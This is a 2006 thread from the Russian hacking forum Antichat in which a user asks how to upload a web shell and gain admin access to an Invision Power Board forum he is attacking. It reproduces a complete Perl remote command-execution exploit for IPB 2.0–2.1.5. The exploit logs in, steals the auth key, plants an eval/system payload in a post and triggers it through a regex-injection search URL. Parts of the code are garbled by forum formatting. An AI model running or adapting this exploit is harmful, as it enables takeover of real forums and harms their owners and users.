ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла
  #1  
Старый 27.10.2006, 16:22
Аватар для samsam
samsam
Новичок
Регистрация: 27.10.2006
Сообщений: 12
Провел на форуме:
20350

Репутация: -7
По умолчанию Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла

Кароч расклад такой...

Воспользовался сплоитом

все ок команды выполняются.
ТОлько вот шелл заоить не могу, видимо отключены команды.

ПОДСКАЖИТЕ ПЛИЗ КАК, сломать форум иль заити как АДМИН зарание благодарен САМ.


PHP код:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use 
Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     $opt_h;
$dir      $opt_d;
$login    $opt_l;
$password $opt_p;
$forum    $opt_f;
$version  $opt_v || 0;

$|++;

header();
if(!
$host||!$dir||!$login||!$password||!$forum) { usage(); }

print 
"[~]    SERVER : $host\r\n";
print 
"[~]      PATH : $dir\r\n";
print 
"[~]     LOGIN : $login\r\n";
print 
"[~]  PASSWORD : $password\r\n";
print 
"[~]    TARGET : $version";
print ((
$version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print 
"\r\n";

{
print 
"\r\nCommand for execute or 'exit' for exit ";
while(<
STDIN>)
{
        
$cmd=$_;
        
chomp($cmd);
        exit() if (
$cmd eq 'exit');
        
last;
     }
     
$len length($cmd);
     for (
$i=0$i<$len$i++)
        {
         
$s substr($cmd,$i,1);
         
$out.="chr(".ord($s).")";
         if(
$i != $len-1
            {
             
$out.=".";
            }
          
        }
    
$out "$out)."."chr(59).exit";
 }

print 
"[~] Login ... ";

$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     'UserName='.$login.'&PassWord='.$password;
$loggedin 0;
print 
$sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Connection: close\r\n";
print 
$sock "Content-Type: application/x-www-form-urlencoded\n";
print 
$sock "Content-length: ".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
{  
 if(/
session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
print 
$sock "GET ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
{    
 if(/
act=Login&amp;CODE=03/) { $loggedin 1last; }
}
if(
$loggedin) { print " [ DONE ]\r\n"; }
else { print 
" [ FAILED ]\r\n"; exit(); }

print 
"[+] SID: $sid\r\n";

print 
"[~] Try get md5_check ...";
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
if(
$version==1)
 {
 print 
$sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print 
$sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
 {  
 if(
$version == && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if(
$version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close(
$sock);
if(
$md5_check) { print " DONE ]\r\n"; print "[+] MD5_CHECK $md5_check\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

print "
[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'eval(system('.$out.'()); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print 
$sock "POST ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
 {  
 if(/Location:/) { 
$created = 1; last; }
 }
if(
$created) { print " DONE ]\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "
[~] Search message ...";
$post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print 
$sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";

while (<
$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { 
$searchid = $1; last; }
 }

if(
$searchid) { print " DONE ]\r\n"; }
else { print "
FAILED ]\r\n"; exit(); }
print "
[+] SEARCHID$searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00';
print "
Go to URL:\".$host.$dir.$get."";

sub header()
 {
 print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";   
 print " 
Invision Power Board 2.commands execution exploit by RST/GHC\r\n";
 print "                    
eDiTeD by DimaHbl4\r\n";
 print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print "
r57ipbce.pl -<host> -<dir> -<login> -<password> -<forum> -<version>\r\n\r\n";
 print "
<host>     - host where IPB installed e.g www.ipb.com\r\n";
 print "
<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print "
<login>    - login of any exist user\r\n";
 print "
<password> - and password too )\r\n";
 print "
<forum>    - number of forum where user can create topic e.g 2,4etc\r\n";
 print "
<version>  - forum version:\r\n";
 print "             
2.0.*\r\n";
 print "             
2.1.*\r\n";
 exit();
 } 
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема с заливкой шелла в Invision Power Board v2.1.7 DeadMeat Форумы 9 24.02.2010 11:48
Windows: Cmd.exe Ch3ck Чужие Статьи 6 17.10.2007 12:59
Проблеммы с заливкой шелла в ipb 1.3. $klip Форумы 3 13.11.2006 03:11
Основные команды командной строчки. silveran Windows 5 27.10.2005 14:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ